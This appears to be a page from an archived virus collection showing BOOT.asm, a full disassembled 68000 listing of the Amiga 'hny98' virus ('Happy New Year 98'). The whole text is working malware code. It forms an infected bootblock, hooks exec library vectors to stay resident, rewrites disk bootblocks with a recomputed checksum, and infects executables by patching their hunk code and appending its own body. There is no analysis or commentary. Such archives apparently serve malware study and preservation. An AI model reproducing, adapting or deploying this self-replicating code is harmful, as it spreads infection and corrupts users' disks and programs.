home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusCollectie / h / hny98 / BOOT.asm next >
Assembly Source File  |  2022-12-23  |  11KB  |  390 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $203C
  6. EXT_0002    EQU    $237C
  7. CIAB_PRB    EQU    $BFD100
  8. CIAA_PRA    EQU    $BFE001
  9. EXT_0005    EQU    $F80808
  10. EXT_0006    EQU    $F97FBC
  11. EXT_0007    EQU    $FCF816
  12.  
  13.  
  14.  
  15.  
  16.     SECTION S_0,CODE
  17.  
  18. SECSTRT_0:
  19.     DC.W    $444F            ;000
  20.     SUBQ.B    #1,D1            ;002: 5301
  21.     DC.W    $797B            ;004
  22.     DC.W    $6F3B            ;006
  23.     DC.W    $0000            ;008
  24.     DC.W    $0370            ;00A
  25.     LEA    LAB_0003(PC),A1        ;00C: 43FA003E
  26.     MOVEQ    #37,D0            ;010: 7025
  27.     BSR    LAB_000F        ;012: 610000E6
  28.     TST.L    D0            ;016: 4A80
  29.     BEQ.S    LAB_0000        ;018: 670C
  30.     MOVEA.L    D0,A1            ;01A: 2240
  31.     BSET    #6,34(A1)        ;01C: 08E900060022
  32.     JSR    -414(A6)        ;022: 4EAEFE62
  33. LAB_0000:
  34.     LEA    LAB_0002(PC),A1        ;026: 43FA0018
  35.     JSR    -96(A6)            ;02A: 4EAEFFA0
  36.     TST.L    D0            ;02E: 4A80
  37.     BEQ.S    LAB_0001        ;030: 670A
  38.     MOVEA.L    D0,A0            ;032: 2040
  39.     MOVEA.L    22(A0),A0        ;034: 20680016
  40.     MOVEQ    #0,D0            ;038: 7000
  41.     RTS                ;03A: 4E75
  42. LAB_0001:
  43.     MOVEQ    #-1,D0            ;03C: 70FF
  44.     RTS                ;03E: 4E75
  45. LAB_0002:
  46.     DC.W    $646F            ;040
  47.     DC.W    $732E            ;042
  48.     DC.W    $6C69            ;044
  49.     BHI.S    LAB_0008        ;046: 6272
  50.     BSR.S    LAB_0008+2        ;048: 6172
  51.     DC.W    $7900            ;04A
  52. LAB_0003:
  53.     BCS.S    LAB_000A        ;04C: 6578
  54.     MOVEQ    #97,D0            ;04E: 7061
  55.     DC.W    $6E73            ;050
  56.     DC.W    $696F            ;052
  57.     BGT.S    LAB_0007        ;054: 6E2E
  58.     DC.W    $6C69            ;056
  59.     BHI.S    LAB_000B        ;058: 6272
  60.     BSR.S    LAB_000B+2        ;05A: 6172
  61.     DC.W    $7900            ;05C
  62.     ORI.B    #$00,D0            ;05E: 00000000
  63. LAB_0004:
  64.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;062: 48E7FFFE
  65.     BSR.S    LAB_0008        ;066: 6152
  66.     TST.L    D0            ;068: 4A80
  67.     BEQ.S    LAB_0005        ;06A: 670E
  68.     JMP    14(A0)            ;06C: 4EE8000E
  69.     LEA    LAB_0004(PC),A5        ;070: 4BFAFFF0
  70.     MOVE    #$48E7,(A5)        ;074: 3ABC48E7
  71.     BSR.S    LAB_0006        ;078: 6106
  72. LAB_0005:
  73.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;07A: 4CDF7FFF
  74.     RTS                ;07E: 4E75
  75. LAB_0006:
  76.     LEA    882(A5),A1        ;080: 43ED0372
  77. LAB_0007:
  78.     MOVE.L    #$646F732E,(A1)        ;084: 22BC646F732E
  79.     MOVEQ    #37,D0            ;08A: 7025
  80.     JSR    -552(A6)        ;08C: 4EAEFDD8
  81.     TST.L    D0            ;090: 4A80
  82.     BEQ.S    LAB_0005        ;092: 67E6
  83.     MOVE.L    D0,864(A5)        ;094: 2B400360
  84.     MOVEA.L    864(A5),A1        ;098: 226D0360
  85.     LEA    -454(A6),A0        ;09C: 41EEFE3A
  86.     LEA    -148(A1),A1        ;0A0: 43E9FF6C
  87.     MOVE.L    (A0),292(A5)        ;0A4: 2B500124
  88.     MOVE.L    (A1),512(A5)        ;0A8: 2B510200
  89.     LEA    264(A5),A2        ;0AC: 45ED0108
  90.     MOVE.L    A2,(A0)            ;0B0: 208A
  91.     LEA    482(A5),A2        ;0B2: 45ED01E2
  92.     MOVE.L    A2,(A1)            ;0B6: 228A
  93.     RTS                ;0B8: 4E75
  94. LAB_0008:
  95.     LEA    LAB_0004(PC),A5        ;0BA: 4BFAFFA6
  96.     MOVE    #$4E75,(A5)        ;0BE: 3ABC4E75
  97.     MOVEA.L    (ABSEXECBASE).W,A6    ;0C2: 2C780004
  98. LAB_000A:
  99.     MOVEQ    #0,D0            ;0C6: 7000
  100.     MOVEA.L    -454(A6),A0        ;0C8: 206EFE3A
  101. LAB_000B:
  102.     CMPI    #$0CA9,(A0)        ;0CC: 0C500CA9
  103.     BEQ.S    LAB_000E        ;0D0: 6726
  104.     MOVEQ    #0,D1            ;0D2: 7200
  105.     MOVE.L    #$00000C00,D0        ;0D4: 203C00000C00
  106.     JSR    -198(A6)        ;0DA: 4EAEFF3A
  107.     TST.L    D0            ;0DE: 4A80
  108.     BEQ.S    LAB_000E        ;0E0: 6716
  109.     MOVE.L    D0,D1            ;0E2: 2200
  110.     MOVE.L    D1,868(A5)        ;0E4: 2B410364
  111.     MOVEA.L    D1,A4            ;0E8: 2841
  112.     MOVEA.L    A4,A0            ;0EA: 204C
  113.     MOVE.L    #$00000398,D1        ;0EC: 223C00000398
  114. LAB_000D:
  115.     MOVE.B    (A5)+,(A4)+        ;0F2: 18DD
  116.     SUBQ.L    #1,D1            ;0F4: 5381
  117.     BNE.S    LAB_000D        ;0F6: 66FA
  118. LAB_000E:
  119.     RTS                ;0F8: 4E75
  120. LAB_000F:
  121.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0FA: 48E7FFFE
  122.     BSR.S    LAB_0008        ;0FE: 61BA
  123.     JMP    162(A0)            ;100: 4EE800A2
  124.     LEA    LAB_0004(PC),A5        ;104: 4BFAFF5C
  125.     MOVEA.L    (ABSEXECBASE).W,A6    ;108: 2C780004
  126.     LEA    LAB_0027(PC),A1        ;10C: 43FA02C0
  127.     MOVE.L    #$696F6E2E,6(A1)    ;110: 237C696F6E2E0006
  128.     MOVE    #$48E7,-876(A1)        ;118: 337C48E7FC94
  129.     MOVEQ    #37,D0            ;11E: 7025
  130.     JSR    -552(A6)        ;120: 4EAEFDD8
  131.     TST.L    D0            ;124: 4A80
  132.     BEQ.S    LAB_0010        ;126: 6714
  133.     MOVE.L    D0,860(A5)        ;128: 2B40035C
  134.     MOVEA.L    D0,A1            ;12C: 2240
  135.     LEA    LAB_0011(PC),A0        ;12E: 41FA0016
  136.     LEA    -604(A1),A1        ;132: 43E9FDA4
  137.     MOVE.L    (A1),32(A0)        ;136: 21510020
  138.     MOVE.L    A0,(A1)            ;13A: 2288
  139. LAB_0010:
  140.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;13C: 4CDF7FFF
  141.     JSR    -552(A6)        ;140: 4EAEFDD8
  142.     RTS                ;144: 4E75
  143. LAB_0011:
  144.     MOVEM.L    A0-A2/A5-A6,-(A7)    ;146: 48E700E6
  145.     LEA    LAB_0004(PC),A5        ;14A: 4BFAFF16
  146.     MOVEA.L    (ABSEXECBASE).W,A6    ;14E: 2C780004
  147.     BSR    LAB_0006        ;152: 6100FF2C
  148.     MOVEA.L    860(A5),A0        ;156: 206D035C
  149.     MOVE.L    260(A5),-604(A0)    ;15A: 216D0104FDA4
  150.     MOVEM.L    (A7)+,A0-A2/A5-A6    ;160: 4CDF6700
  151.     JMP    EXT_0007        ;164: 4EF900FCF816
  152.     CMPI.L    #$00000200,36(A1)    ;16A: 0CA9000002000024
  153.     BNE.S    LAB_0012        ;172: 6610
  154.     CMPI    #$0002,28(A1)        ;174: 0C690002001C
  155.     BNE.S    LAB_0012        ;17A: 6608
  156.     TST.L    44(A1)            ;17C: 4AA9002C
  157.     BNE.S    LAB_0012        ;180: 6602
  158.     BRA.S    LAB_0013        ;182: 6006
  159. LAB_0012:
  160.     JMP    EXT_0005        ;184: 4EF900F80808
  161. LAB_0013:
  162.     BSR.S    LAB_0012        ;18A: 61F8
  163.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;18C: 48E7FFFE
  164.     MOVEA.L    24(A1),A0        ;190: 20690018
  165.     MOVE.B    65(A0),CIAB_PRB        ;194: 13E8004100BFD100
  166.     BTST    #3,CIAA_PRA        ;19C: 0839000300BFE001
  167.     BEQ    LAB_0015        ;1A4: 6700003A
  168.     DC.W    $4BFA            ;1A8
  169.     ANDI.L    #$234D0028,(EXT_0002).W    ;1AA: 02B8234D0028237C
  170.     DC.W    $0000            ;1B2
  171.     SUBI.B    #$24,D0            ;1B4: 04000024
  172.     MOVE    #$0002,28(A1)        ;1B8: 337C0002001C
  173.     BSR.S    LAB_0012        ;1BE: 61C4
  174.     CMPI.L    #$E33D0E73,4(A5)    ;1C0: 0CADE33D0E730004
  175.     BEQ.S    LAB_0014        ;1C8: 670A
  176.     CMPI.L    #$E33D0E72,4(A5)    ;1CA: 0CADE33D0E720004
  177.     BNE.S    LAB_0015        ;1D2: 660C
  178. LAB_0014:
  179.     CMPI.L    #$43FA003E,12(A5)    ;1D4: 0CAD43FA003E000C
  180.     BNE.S    LAB_0015        ;1DC: 6602
  181.     BSR.S    LAB_0016        ;1DE: 6106
  182. LAB_0015:
  183.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;1E0: 4CDF7FFF
  184.     RTS                ;1E4: 4E75
  185. LAB_0016:
  186.     LEA    LAB_0004(PC),A4        ;1E6: 49FAFE7A
  187.     ADDQ    #1,918(A4)        ;1EA: 526C0396
  188.     MOVE.L    #$610000E6,18(A5)    ;1EE: 2B7C610000E60012
  189.     MOVE.L    #$00000398,D0        ;1F6: 203C00000398
  190.     MOVE.L    A5,D1            ;1FC: 220D
  191.     ADDA.L    #$00000062,A5        ;1FE: DBFC00000062
  192. LAB_0017:
  193.     MOVE.B    (A4)+,(A5)+        ;204: 1ADC
  194.     SUBQ.L    #1,D0            ;206: 5380
  195.     BNE.S    LAB_0017        ;208: 66FA
  196.     MOVEA.L    D1,A2            ;20A: 2441
  197.     MOVEA.L    A2,A3            ;20C: 264A
  198.     ADDQ.L    #4,A3            ;20E: 588B
  199.     MOVE.L    D0,(A3)            ;210: 2680
  200.     MOVE    #$00FF,D1        ;212: 323C00FF
  201.     MOVEQ    #0,D0            ;216: 7000
  202. LAB_0018:
  203.     ADD.L    (A2)+,D0        ;218: D09A
  204.     BCC.S    LAB_0019        ;21A: 6402
  205.     ADDQ.L    #1,D0            ;21C: 5280
  206. LAB_0019:
  207.     DBF    D1,LAB_0018        ;21E: 51C9FFF8
  208.     NOT.L    D0            ;222: 4680
  209.     MOVE.L    D0,(A3)            ;224: 2680
  210.     SUBQ.L    #4,A3            ;226: 598B
  211.     MOVE    #$0003,28(A1)        ;228: 337C0003001C
  212.     MOVE.L    #$00000400,36(A1)    ;22E: 237C000004000024
  213.     MOVE.L    A3,40(A1)        ;236: 234B0028
  214.     CLR.L    44(A1)            ;23A: 42A9002C
  215.     BSR    LAB_0012        ;23E: 6100FF44
  216.     RTS                ;242: 4E75
  217.     MOVE.L    A1,-(A7)        ;244: 2F09
  218.     LEA    LAB_0026(PC),A1        ;246: 43FA0182
  219.     MOVE.L    D1,(A1)            ;24A: 2281
  220.     MOVEA.L    (A7)+,A1        ;24C: 225F
  221.     BSR.S    LAB_001B        ;24E: 6110
  222.     TST.L    D0            ;250: 4A80
  223.     BEQ.S    LAB_001A        ;252: 670A
  224.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;254: 48E7FFFE
  225.     BSR.S    LAB_001C        ;258: 610C
  226.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;25A: 4CDF7FFF
  227. LAB_001A:
  228.     RTS                ;25E: 4E75
  229. LAB_001B:
  230.     JMP    EXT_0006        ;260: 4EF900F97FBC
  231. LAB_001C:
  232.     MOVEA.L    LAB_0026(PC),A4        ;266: 287A0162
  233.     MOVEA.L    LAB_0025(PC),A6        ;26A: 2C7A0156
  234.     MOVE.L    A4,D1            ;26E: 220C
  235.     MOVEQ    #-2,D2            ;270: 74FE
  236.     JSR    -84(A6)            ;272: 4EAEFFAC
  237.     MOVE.L    D0,D7            ;276: 2E00
  238.     BEQ.S    LAB_001A        ;278: 67E4
  239.     DC.W    $4BFA            ;27A
  240.     BSET    D2,-(A6)        ;27C: 05E6
  241.     MOVE.L    D7,D1            ;27E: 2207
  242.     MOVE.L    A5,D2            ;280: 240D
  243.     JSR    -102(A6)        ;282: 4EAEFF9A
  244.     MOVE.L    D7,D1            ;286: 2207
  245.     MOVEA.L    A5,A3            ;288: 264D
  246.     ADDA.L    #$00000200,A3        ;28A: D7FC00000200
  247.     MOVE.L    A3,D2            ;290: 240B
  248.     JSR    -114(A6)        ;292: 4EAEFF8E
  249.     MOVE.L    D7,D1            ;296: 2207
  250.     JSR    -90(A6)            ;298: 4EAEFFA6
  251.     CMPI    #$0052,10(A3)        ;29C: 0C6B0052000A
  252.     BNE.S    LAB_001A        ;2A2: 66BA
  253.     MOVE.L    12(A3),D0        ;2A4: 202B000C
  254.     MOVE.L    16(A3),D1        ;2A8: 222B0010
  255.     MOVEQ    #4,D2            ;2AC: 7404
  256.     SUB.L    D1,D0            ;2AE: 9081
  257.     CMP.L    D2,D0            ;2B0: B082
  258.     BLT.S    LAB_001A        ;2B2: 6DAA
  259.     MOVE.L    124(A5),D5        ;2B4: 2A2D007C
  260.     CMP.L    #$00000AF0,D5        ;2B8: BABC00000AF0
  261.     BLT.S    LAB_001A        ;2BE: 6D9E
  262.     CMP.L    #$000927C0,D5        ;2C0: BABC000927C0
  263.     BGT    LAB_001A        ;2C6: 6E00FF96
  264.     MOVE.L    D5,D0            ;2CA: 2005
  265.     MOVEQ    #0,D1            ;2CC: 7200
  266.     MOVEA.L    (ABSEXECBASE).W,A6    ;2CE: 2C780004
  267.     JSR    -684(A6)        ;2D2: 4EAEFD54
  268.     MOVE.L    D0,D7            ;2D6: 2E00
  269.     BEQ    LAB_001A        ;2D8: 6700FF84
  270.     MOVEA.L    LAB_0025(PC),A6        ;2DC: 2C7A00E4
  271.     MOVE.L    #$000003ED,D2        ;2E0: 243C000003ED
  272.     BSR    LAB_0023        ;2E6: 610000C4
  273.     BEQ    LAB_001A        ;2EA: 6700FF72
  274.     MOVE.L    D6,D1            ;2EE: 2206
  275.     MOVE.L    D7,D2            ;2F0: 2407
  276.     MOVE.L    D5,D3            ;2F2: 2605
  277.     JSR    -42(A6)            ;2F4: 4EAEFFD6
  278.     BSR    LAB_0024        ;2F8: 610000BC
  279.     MOVEA.L    D7,A3            ;2FC: 2647
  280.     MOVE.L    #$000000E6,D4        ;2FE: 283C000000E6
  281.     LEA    20(A3),A0        ;304: 41EB0014
  282.     MOVE.L    (A0),D0            ;308: 2010
  283.     ADD.L    D4,(A0)            ;30A: D990
  284. LAB_001D:
  285.     MOVE.L    (A0)+,D1        ;30C: 2218
  286.     ANDI.L    #$00FFFFFF,D1        ;30E: 028100FFFFFF
  287.     CMP.L    #$000003E9,D1        ;314: B2BC000003E9
  288.     BNE.S    LAB_001D        ;31A: 66F0
  289.     ANDI.L    #$00FFFFFF,D0        ;31C: 028000FFFFFF
  290.     CMP.L    (A0),D0            ;322: B090
  291.     BNE.S    LAB_0022        ;324: 667A
  292.     MOVE.L    (A0),D1            ;326: 2210
  293.     ADD.L    D4,(A0)+        ;328: D998
  294.     LSL.L    #2,D1            ;32A: E589
  295.     ADDA.L    D1,A0            ;32C: D1C1
  296.     MOVE.L    A0,D4            ;32E: 2808
  297.     MOVE.L    A0,D1            ;330: 2208
  298.     CMPI    #$3938,-8(A0)        ;332: 0C683938FFF8
  299.     BEQ.S    LAB_0022        ;338: 6766
  300.     CMPI    #$4E75,-(A0)        ;33A: 0C604E75
  301.     BNE.S    LAB_001E        ;33E: 6606
  302.     MOVE    #$4E71,(A0)        ;340: 30BC4E71
  303.     BRA.S    LAB_0021        ;344: 601A
  304. LAB_001E:
  305.     MOVEQ    #63,D0            ;346: 703F
  306. LAB_001F:
  307.     CMPI    #$4E75,-(A0)        ;348: 0C604E75
  308.     BEQ.S    LAB_0020        ;34C: 6706
  309.     SUBQ.L    #1,D0            ;34E: 5380
  310.     BNE.S    LAB_001F        ;350: 66F6
  311.     BRA.S    LAB_0022        ;352: 604C
  312. LAB_0020:
  313.     MOVE    #$6000,(A0)        ;354: 30BC6000
  314.     SUB.L    A0,D1            ;358: 9288
  315.     SUBI    #$0002,D1        ;35A: 04410002
  316.     ADD    D1,(A0)            ;35E: D350
  317. LAB_0021:
  318.     MOVE.L    #$000003EE,D2        ;360: 243C000003EE
  319.     BSR.S    LAB_0023        ;366: 6144
  320.     BEQ.S    LAB_0022        ;368: 6736
  321.     MOVE.L    D6,D1            ;36A: 2206
  322.     MOVE.L    D7,D2            ;36C: 2407
  323.     MOVE.L    D4,D3            ;36E: 2604
  324.     SUB.L    D7,D3            ;370: 9687
  325.     JSR    -48(A6)            ;372: 4EAEFFD0
  326.     LEA    LAB_0028(PC),A0        ;376: 41FA0080
  327.     ADDQ    #1,(A0)            ;37A: 5250
  328.     MOVE.L    D6,D1            ;37C: 2206
  329.     LEA    LAB_0004(PC),A0        ;37E: 41FAFCE2
  330.     MOVE.L    A0,D2            ;382: 2408
  331.     MOVE.L    #$00000398,D3        ;384: 263C00000398
  332.     JSR    -48(A6)            ;38A: 4EAEFFD0
  333.     MOVE.L    D6,D1            ;38E: 2206
  334.     MOVE.L    D4,D2            ;390: 2404
  335.     ADD.L    D7,D5            ;392: DA87
  336.     SUB.L    D4,D5            ;394: 9A84
  337.     MOVE.L    D5,D3            ;396: 2605
  338.     JSR    -48(A6)            ;398: 4EAEFFD0
  339.     BSR    LAB_0024        ;39C: 61000018
  340. LAB_0022:
  341.     MOVEA.L    D7,A1            ;3A0: 2247
  342.     MOVEA.L    (ABSEXECBASE).W,A6    ;3A2: 2C780004
  343.     JSR    -690(A6)        ;3A6: 4EAEFD4E
  344.     RTS                ;3AA: 4E75
  345. LAB_0023:
  346.     MOVE.L    A4,D1            ;3AC: 220C
  347.     JSR    -30(A6)            ;3AE: 4EAEFFE2
  348.     MOVE.L    D0,D6            ;3B2: 2C00
  349.     RTS                ;3B4: 4E75
  350. LAB_0024:
  351.     MOVE.L    D6,D1            ;3B6: 2206
  352.     JSR    -36(A6)            ;3B8: 4EAEFFDC
  353.     RTS                ;3BC: 4E75
  354.     BSET    D6,D0            ;3BE: 0DC0
  355.     LSR.B    #1,D4            ;3C0: E20C
  356. LAB_0025:
  357.     DC.W    $0020            ;3C2
  358.     DC.W    $F240            ;3C4
  359.     DC.W    $0021            ;3C6
  360.     DC.W    $ACA8            ;3C8
  361. LAB_0026:
  362.     DC.W    $0022            ;3CA
  363.     NEG    -(A4)            ;3CC: 4464
  364. LAB_0027:
  365.     DC.W    $696E            ;3CE
  366.     MOVEQ    #117,D2            ;3D0: 7475
  367.     DC.W    $6974            ;3D2
  368.     DC.W    $646F            ;3D4
  369.     DC.W    $732E            ;3D6
  370.     DC.W    $6C69            ;3D8
  371.     DC.W    $6272            ;3DA
  372.     DC.W    $6172            ;3DC
  373.     DC.W    $7900            ;3DE
  374.     DC.W    $3C3E            ;3E0
  375.     MOVEA.L    A0,A0            ;3E2: 2048
  376.     DC.W    $6170            ;3E4
  377.     MOVEQ    #121,D0            ;3E6: 7079
  378.     MOVEA.L    A6,A0            ;3E8: 204E
  379.     DC.W    $6577            ;3EA
  380.     MOVEA.L    (A1)+,A0        ;3EC: 2059
  381.     DC.W    $6561            ;3EE
  382.     MOVEQ    #32,D1            ;3F0: 7220
  383.     MOVE    (EXT_0001).W,-(A4)    ;3F2: 3938203C
  384.     MOVE    D0,D7            ;3F6: 3E00
  385. LAB_0028:
  386.     DC.W    $000A            ;3F8
  387.     ORI.B    #$00,D0            ;3FA: 00000000
  388.     DC.W    $0000            ;3FE
  389.     END
  390.